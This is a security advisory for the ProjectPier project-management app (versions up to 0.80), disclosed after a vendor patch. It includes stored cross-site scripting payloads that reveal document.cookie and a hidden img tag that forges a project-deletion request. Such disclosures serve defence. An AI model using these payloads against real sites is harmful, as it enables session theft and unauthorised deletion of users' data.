Author: L4teral <l4teral [4t] gmail com>
Impact: Cross Site Scripting
Cross Site Request Forgery
Status: patch available
Application: ProjectPier
Version: <= 0.80
Vendor: http://www.projectpier.org
Description:
ProjectPier is a Free, Open-Source, self-hosted PHP application for
managing tasks, projects and teams through an intuitive web interface.
ProjectPier will help your organization communicate, collaborate and
get things done Its function is similar to commercial
groupware/project management products, but allows the freedom and
scalability of self-hosting. Even better, it will always be free.
create a message with <script>alert(document.cookie)</script>
create a milestone with <script>alert(document.cookie)</script>
set the display name in the profile to <script>alert(document.cookie)</script>
<img src="http://localhost/projectpier/index.php?c=project&a=delete&id=1&active_project=1"
width="0" height="0">
update to version 0.8.0.1 or above.
2007-10-24 - vendor informed
2007-10-24 - vendor responded
2008-02-13 - vendor released new version
2008-02-17 - public disclosure